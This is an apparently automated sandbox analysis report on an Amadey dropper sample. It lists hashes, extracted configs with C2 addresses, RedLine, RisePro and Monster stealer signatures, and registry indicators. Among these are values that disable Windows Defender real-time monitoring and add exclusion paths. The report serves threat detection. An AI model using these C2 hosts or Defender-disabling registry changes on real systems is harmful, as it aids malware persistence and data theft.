amadey | 15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd

Analysis

max time kernel
299s
max time network
301s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20-06-2024 22:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
Size

1.8MB
MD5

cfa52d47e2b6910e82d6a093ce9c583d
SHA1

1ed396c555af63b62c75801de596f479c1778740
SHA256

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd
SHA512

0fc866514069d15333572becfc8862e0dfaa84c57460f8473ed9625b2a1942b57ec24aaa196c0414340f56cc7d2c42aa0f7813f049ba18d305258b7673122c6e
SSDEEP

49152:E0kQv6ix15O7z8ESFiMuLXFIVc0hOsfG34C8fs5bTotmgGVqS:qQvYEFiMyKOseICNmmgJ

Score

10^/10

amadey monster redline risepro 0e6740 e76b71 newbild discovery evasion execution infostealer persistence pyinstaller spyware stealer themida trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.ax.em-net.ne.jp
Port:
587
Username:
[email protected]

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

risepro

77.91.77.66:58709

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

http://77.91.77.81

Attributes

install_dir
8254624243
install_file
axplong.exe
strings_key
90049e51fabf09df0d6748e0b271922e
url_paths
/Kiru9gu/index.php

rc4.plain

Extracted

Family

redline

Botnet

newbild

185.215.113.67:40960

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detects Monster Stealer. 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\onefile_1496_133633965668456000\stub.exe	family_monster
behavioral1/memory/2844-301-0x000000013F6C0000-0x00000001408F5000-memory.dmp	family_monster

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Monster
Monster is a Golang stealer that was discovered in 2024.
stealer monster
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
RedLine payload 2 IoCs

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe family_redline
behavioral1/memory/552-276-0x0000000001320000-0x0000000001370000-memory.dmp family_redline
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe	family_redline
behavioral1/memory/552-276-0x0000000001320000-0x0000000001370000-memory.dmp	family_redline

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dSFCGoajU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LIlQlxhqsAqlQuVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LIlQlxhqsAqlQuVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dSFCGoajU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yPeEHKRKYSIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QVWjqfQytQiLC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XPXpeEiKDyUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XPXpeEiKDyUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yPeEHKRKYSIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QVWjqfQytQiLC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

7ead6cc984.exeda_protected.exe15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.exeexplortu.execa01aa0bc0.exeaxplong.exebfbff0d2bf.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	7ead6cc984.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	da_protected.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ca01aa0bc0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bfbff0d2bf.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

93 3944 rundll32.exe

flow	pid	process
93	3944	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exe

pid	process
3824	powershell.exe
3252	powershell.exe
4856	powershell.exe
2960	powershell.exe
2720	powershell.exe
4968	powershell.exe
308	powershell.exe
2148	powershell.EXE
4112	powershell.EXE
4092	powershell.exe
1752	powershell.EXE
1612	powershell.exe
2640	powershell.exe
752	powershell.EXE
4564	powershell.exe
4884	powershell.exe
5008	powershell.exe
2152	powershell.exe
1828	powershell.exe
1600	powershell.EXE
2924	powershell.exe
1032	powershell.exe
4748	powershell.EXE
4120	powershell.exe
4600	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 19 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

7ead6cc984.exerundll32.exe15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.exeexplortu.exeInstall.execa01aa0bc0.exeaxplong.exeda_protected.exeInstall.exebfbff0d2bf.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7ead6cc984.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ca01aa0bc0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ca01aa0bc0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7ead6cc984.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	da_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bfbff0d2bf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	da_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bfbff0d2bf.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

HPDLnnv.exeGxQnstS.exeOLECFOb.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Control Panel\International\Geo\Nation	HPDLnnv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Control Panel\International\Geo\Nation	GxQnstS.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Control Panel\International\Geo\Nation	OLECFOb.exe

Executes dropped EXE 52 IoCs

Processes:

explortu.exeexplortu.execa01aa0bc0.exeaxplong.exebfbff0d2bf.exe7ead6cc984.exejudit.exeredline123123.exestub.exeupd.exedeep.exeda_protected.exegold.exelummac2.exedrivermanager.exeNewLatest.exeHkbsse.exesetup.exeInstall.exeInstall.exeFirstZ.exesetup.exeInstall.exeInstall.exemonster.exestub.exelegs.exeroxonk.exesetup.exesetup.exequickaccesspopup.exechromedriver.exereakuqnanrkn.exespain.exespain.exechromedriver.execjems.exeVMJlLvi.execjems.execjems.exesetup.exesetup.exeVMJlLvi.exeHPDLnnv.exeVMJlLvi.execjems.execjems.exeOLECFOb.exeGxQnstS.execjems.exe

pid	process
2676	explortu.exe
2780	explortu.exe
772	ca01aa0bc0.exe
588	axplong.exe
1556	bfbff0d2bf.exe
1520	7ead6cc984.exe
1496	judit.exe
552	redline123123.exe
2844	stub.exe
540	upd.exe
3292	deep.exe
3396	da_protected.exe
3532	gold.exe
3680	lummac2.exe
3976	drivermanager.exe
3372	NewLatest.exe
3416	Hkbsse.exe
1644	setup.exe
3224	Install.exe
684	Install.exe
2912	FirstZ.exe
2800	setup.exe
1400	Install.exe
1312	Install.exe
1804	monster.exe
1588	stub.exe
3936	legs.exe
3276	roxonk.exe
384	setup.exe
2620	setup.exe
1232
308	quickaccesspopup.exe
2708	chromedriver.exe
480
4592	reakuqnanrkn.exe
3868	spain.exe
624	spain.exe
1752	chromedriver.exe
1784	cjems.exe
2836	VMJlLvi.exe
2832	cjems.exe
4504	cjems.exe
4588	setup.exe
2928	setup.exe
3492	VMJlLvi.exe
4308	HPDLnnv.exe
4508	VMJlLvi.exe
384	cjems.exe
4128	cjems.exe
2936	OLECFOb.exe
4228	GxQnstS.exe
4812	cjems.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

7ead6cc984.exe15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.exeexplortu.execa01aa0bc0.exeaxplong.exebfbff0d2bf.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	7ead6cc984.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	ca01aa0bc0.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Wine	bfbff0d2bf.exe

Loads dropped DLL 64 IoCs

Processes:

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.execa01aa0bc0.exeaxplong.exejudit.exestub.exeWerFault.exedeep.exeWerFault.exeNewLatest.exeHkbsse.exesetup.exeInstall.exeInstall.exesetup.exeInstall.exeInstall.exemonster.exestub.exeWerFault.exeda_protected.exe

pid	process
2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
2676	explortu.exe
2676	explortu.exe
772	ca01aa0bc0.exe
2676	explortu.exe
2676	explortu.exe
588	axplong.exe
588	axplong.exe
1496	judit.exe
2844	stub.exe
588	axplong.exe
588	axplong.exe
3100	WerFault.exe
3100	WerFault.exe
3100	WerFault.exe
588	axplong.exe
3292	deep.exe
3292	deep.exe
3292	deep.exe
3292	deep.exe
588	axplong.exe
3572	WerFault.exe
3572	WerFault.exe
3572	WerFault.exe
588	axplong.exe
588	axplong.exe
588	axplong.exe
588	axplong.exe
3372	NewLatest.exe
3416	Hkbsse.exe
1644	setup.exe
1644	setup.exe
1644	setup.exe
1644	setup.exe
3224	Install.exe
3224	Install.exe
3224	Install.exe
3224	Install.exe
684	Install.exe
684	Install.exe
684	Install.exe
3416	Hkbsse.exe
3416	Hkbsse.exe
3416	Hkbsse.exe
2800	setup.exe
2800	setup.exe
2800	setup.exe
2800	setup.exe
1400	Install.exe
1400	Install.exe
1400	Install.exe
1400	Install.exe
1312	Install.exe
1312	Install.exe
1312	Install.exe
588	axplong.exe
1804	monster.exe
1588	stub.exe
588	axplong.exe
4000	WerFault.exe
4000	WerFault.exe
4000	WerFault.exe
3396	da_protected.exe
3396	da_protected.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\da_protected.exe	themida
behavioral1/memory/3396-459-0x00000000000F0000-0x0000000000A48000-memory.dmp	themida
behavioral1/memory/3396-460-0x00000000000F0000-0x0000000000A48000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

chromedriver.exeexplortu.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeDriver = "C:\\Users\\Admin\\AppData\\Roaming\\ChromeDriver.exe"	chromedriver.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\bfbff0d2bf.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000016001\\bfbff0d2bf.exe"	explortu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

da_protected.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA da_protected.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	da_protected.exe

Drops Chrome extension 4 IoCs

Processes:

HPDLnnv.exeGxQnstS.exeOLECFOb.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	HPDLnnv.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	GxQnstS.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	OLECFOb.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	HPDLnnv.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

59 pastebin.com
60 pastebin.com
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

4400 powercfg.exe
4408 powercfg.exe
4416 powercfg.exe
4424 powercfg.exe
4836 powercfg.exe
4844 powercfg.exe
4852 powercfg.exe
4860 powercfg.exe

flow	ioc
59	pastebin.com
60	pastebin.com

pid	process
4400	powercfg.exe
4408	powercfg.exe
4416	powercfg.exe
4424	powercfg.exe
4836	powercfg.exe
4844	powercfg.exe
4852	powercfg.exe
4860	powercfg.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/memory/1520-379-0x00000000002F0000-0x000000000085A000-memory.dmp	autoit_exe
behavioral1/memory/1520-433-0x00000000002F0000-0x000000000085A000-memory.dmp	autoit_exe
behavioral1/memory/1520-439-0x00000000002F0000-0x000000000085A000-memory.dmp	autoit_exe

Drops file in System32 directory 52 IoCs

Processes:

VMJlLvi.exeHPDLnnv.exeOLECFOb.exepowershell.exepowershell.exepowershell.EXEreakuqnanrkn.exepowershell.exepowershell.exepowershell.exeVMJlLvi.exepowershell.EXEGxQnstS.exepowershell.exepowershell.exepowershell.exepowershell.EXEVMJlLvi.exepowershell.EXEpowershell.exerundll32.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeFirstZ.exe

description	ioc	process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	VMJlLvi.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	HPDLnnv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	OLECFOb.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VMJlLvi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_9FBE97E00625C0963C1CF751F29CF9B3	HPDLnnv.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	GxQnstS.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	VMJlLvi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	HPDLnnv.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	VMJlLvi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	GxQnstS.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	OLECFOb.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
